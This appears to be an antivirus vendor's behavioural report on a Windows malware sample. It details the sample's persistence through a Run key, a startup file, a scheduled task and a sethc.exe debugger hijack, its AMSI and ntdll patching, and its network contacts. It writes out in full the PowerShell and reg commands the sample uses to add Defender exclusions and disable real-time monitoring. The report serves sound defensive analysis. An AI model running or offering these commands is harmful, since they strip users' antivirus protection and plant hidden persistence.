Technical Information
To ensure autorun and distribution
Modifies the following registry keys
- [HKCU\Software\Microsoft\Windows\CurrentVersion\Run] 'WindowsUpdate' = '%ALLUSERSPROFILE%\Microsoft\Windows\Caches\svchost.exe'
Creates or modifies the following files
- %APPDATA%\microsoft\windows\start menu\programs\startup\windowsupdate.exe
- <SYSTEM32>\tasks\windowsupdate
Malicious functions
To complicate detection of its presence in the operating system,
adds antivirus exclusion:
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -NoProfile -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath '<Full path to file>' -ErrorAction SilentlyContinue"
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -NoProfile -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath '%ALLUSERSPROFILE%\Microsoft\Windows\Caches' -ErrorAction SilentlyContinue"
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -NoProfile -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath '%ALLUSERSPROFILE%\Microsoft\Windows\Caches\svchost.exe' -ErrorAction SilentlyContinue"
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -NoProfile -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath '%WINDIR%\Temp' -ErrorAction SilentlyContinue"
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -NoProfile -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Users\Public' -ErrorAction SilentlyContinue"
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -NoProfile -WindowStyle Hidden -Command "Add-MpPreference -ExclusionProcess 'svchost.exe' -ErrorAction SilentlyContinue"
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -NoProfile -WindowStyle Hidden -Command "Add-MpPreference -ExclusionProcess 'WindowsUpdate.exe' -ErrorAction SilentlyContinue"
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -NoProfile -WindowStyle Hidden -Command "Set-MpPreference -DisableRealtimeMonitoring $true -ErrorAction SilentlyContinue"
Patches code
in AMSI dll
- qgkccck.exe process, Amsi.dll module
in NTDLL dll
- qgkccck.exe process, ntdll.dll module
Modifies file system
Creates the following files
- %TEMP%\mc_av.ps1
- nul
- %ALLUSERSPROFILE%\microsoft\windows\caches\svchost.exe
- %TEMP%\mc_wmi.ps1
Sets the 'hidden' attribute to the following files
- %ALLUSERSPROFILE%\microsoft\windows\caches\svchost.exe
Deletes following files that it created itself
- %TEMP%\mc_av.ps1
- %TEMP%\mc_wmi.ps1
Network activity
Connects to
- 'ip##pi.com':80
- '85.##.167.71':80
TCP
HTTP GET requests
- http://ip##pi.com/json/?fi#####################################################################################
Other
- '85.##.167.71':80
UDP
- DNS ASK ip##pi.com
Miscellaneous
Creates and executes the following
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -NoProfile -ExecutionPolicy Bypass -File "%TEMP%\mc_av.ps1"
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -NoProfile -ExecutionPolicy Bypass -File "%TEMP%\mc_wmi.ps1"
Executes the following
- '<SYSTEM32>\cmd.exe' /c powershell -NoProfile -ExecutionPolicy Bypass -File "%TEMP%\mc_av.ps1"
- '<SYSTEM32>\cmd.exe' /c powershell -NoProfile -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath '<Full path to file>' -ErrorAction SilentlyContinue"
- '<SYSTEM32>\cmd.exe' /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "<Full path to file>" /t REG_DWORD /d 0 /f 2>nul
- '<SYSTEM32>\reg.exe' add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "<Full path to file>" /t REG_DWORD /d 0 /f
- '<SYSTEM32>\cmd.exe' /c powershell -NoProfile -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath '%ALLUSERSPROFILE%\Microsoft\Windows\Caches' -ErrorAction SilentlyContinue"
- '<SYSTEM32>\cmd.exe' /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "%ALLUSERSPROFILE%\Microsoft\Windows\Caches" /t REG_DWORD /d 0 /f 2>nul
- '<SYSTEM32>\reg.exe' add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "%ALLUSERSPROFILE%\Microsoft\Windows\Caches" /t REG_DWORD /d 0 /f
- '<SYSTEM32>\cmd.exe' /c powershell -NoProfile -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath '%ALLUSERSPROFILE%\Microsoft\Windows\Caches\svchost.exe' -ErrorAction SilentlyContinue"
- '<SYSTEM32>\cmd.exe' /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "%ALLUSERSPROFILE%\Microsoft\Windows\Caches\svchost.exe" /t REG_DWORD /d 0 /f 2>nul
- '<SYSTEM32>\reg.exe' add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "%ALLUSERSPROFILE%\Microsoft\Windows\Caches\svchost.exe" /t REG_DWORD /d 0 /f
- '<SYSTEM32>\cmd.exe' /c powershell -NoProfile -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath '%WINDIR%\Temp' -ErrorAction SilentlyContinue"
- '<SYSTEM32>\cmd.exe' /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "%WINDIR%\Temp" /t REG_DWORD /d 0 /f 2>nul
- '<SYSTEM32>\reg.exe' add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "%WINDIR%\Temp" /t REG_DWORD /d 0 /f
- '<SYSTEM32>\cmd.exe' /c powershell -NoProfile -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Users\Public' -ErrorAction SilentlyContinue"
- '<SYSTEM32>\cmd.exe' /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public" /t REG_DWORD /d 0 /f 2>nul
- '<SYSTEM32>\reg.exe' add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public" /t REG_DWORD /d 0 /f
- '<SYSTEM32>\cmd.exe' /c powershell -NoProfile -WindowStyle Hidden -Command "Add-MpPreference -ExclusionProcess 'svchost.exe' -ErrorAction SilentlyContinue"
- '<SYSTEM32>\cmd.exe' /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes" /v "svchost.exe" /t REG_DWORD /d 0 /f 2>nul
- '<SYSTEM32>\reg.exe' add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes" /v "svchost.exe" /t REG_DWORD /d 0 /f
- '<SYSTEM32>\cmd.exe' /c powershell -NoProfile -WindowStyle Hidden -Command "Add-MpPreference -ExclusionProcess 'WindowsUpdate.exe' -ErrorAction SilentlyContinue"
- '<SYSTEM32>\cmd.exe' /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes" /v "WindowsUpdate.exe" /t REG_DWORD /d 0 /f 2>nul
- '<SYSTEM32>\reg.exe' add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes" /v "WindowsUpdate.exe" /t REG_DWORD /d 0 /f
- '<SYSTEM32>\cmd.exe' /c powershell -NoProfile -WindowStyle Hidden -Command "Set-MpPreference -DisableRealtimeMonitoring $true -ErrorAction SilentlyContinue"
- '<SYSTEM32>\cmd.exe' /c wmic path win32_VideoController get name
- '<SYSTEM32>\wbem\wmic.exe' path win32_VideoController get name
- '<SYSTEM32>\cmd.exe' /c schtasks /create /tn "WindowsUpdate" /tr "%ALLUSERSPROFILE%\Microsoft\Windows\Caches\svchost.exe" /sc onlogon /rl highest /f
- '<SYSTEM32>\schtasks.exe' /create /tn "WindowsUpdate" /tr "%ALLUSERSPROFILE%\Microsoft\Windows\Caches\svchost.exe" /sc onlogon /rl highest /f
- '<SYSTEM32>\cmd.exe' /c powershell -NoProfile -ExecutionPolicy Bypass -File "%TEMP%\mc_wmi.ps1"
- '<SYSTEM32>\wbem\wmiapsrv.exe'
- '<SYSTEM32>\cmd.exe' /c reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /v Debugger /t REG_SZ /d "%ALLUSERSPROFILE%\Microsoft\Windows\Caches\svchost.exe" /f
- '<SYSTEM32>\reg.exe' add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /v Debugger /t REG_SZ /d "%ALLUSERSPROFILE%\Microsoft\Windows\Caches\svchost.exe" /f
- '<SYSTEM32>\cmd.exe' /c powershell -NoProfile -ExecutionPolicy Bypass -File "%TEMP%\mc_av.ps1"' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c powershell -NoProfile -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath '<Full path to file>' -ErrorAction SilentlyContinue"' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "<Full path to file>" /t REG_DWORD /d 0 /f 2>nul' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c powershell -NoProfile -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath '%ALLUSERSPROFILE%\Microsoft\Windows\Caches' -ErrorAction SilentlyContinue"' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "%ALLUSERSPROFILE%\Microsoft\Windows\Caches" /t REG_DWORD /d 0 /f 2>nul' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c powershell -NoProfile -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath '%ALLUSERSPROFILE%\Microsoft\Windows\Caches\svchost.exe' -ErrorAction SilentlyContinue"' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "%ALLUSERSPROFILE%\Microsoft\Windows\Caches\svchost.exe" /t REG_DWORD /d 0 /f 2>nul' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c powershell -NoProfile -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath '%WINDIR%\Temp' -ErrorAction SilentlyContinue"' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "%WINDIR%\Temp" /t REG_DWORD /d 0 /f 2>nul' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c powershell -NoProfile -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Users\Public' -ErrorAction SilentlyContinue"' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public" /t REG_DWORD /d 0 /f 2>nul' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c powershell -NoProfile -WindowStyle Hidden -Command "Add-MpPreference -ExclusionProcess 'svchost.exe' -ErrorAction SilentlyContinue"' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes" /v "svchost.exe" /t REG_DWORD /d 0 /f 2>nul' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c powershell -NoProfile -WindowStyle Hidden -Command "Add-MpPreference -ExclusionProcess 'WindowsUpdate.exe' -ErrorAction SilentlyContinue"' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes" /v "WindowsUpdate.exe" /t REG_DWORD /d 0 /f 2>nul' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c powershell -NoProfile -WindowStyle Hidden -Command "Set-MpPreference -DisableRealtimeMonitoring $true -ErrorAction SilentlyContinue"' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c wmic path win32_VideoController get name' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c schtasks /create /tn "WindowsUpdate" /tr "%ALLUSERSPROFILE%\Microsoft\Windows\Caches\svchost.exe" /sc onlogon /rl highest /f' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c powershell -NoProfile -ExecutionPolicy Bypass -File "%TEMP%\mc_wmi.ps1"' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /v Debugger /t REG_SZ /d "%ALLUSERSPROFILE%\Microsoft\Windows\Caches\svchost.exe" /f' (with hidden window)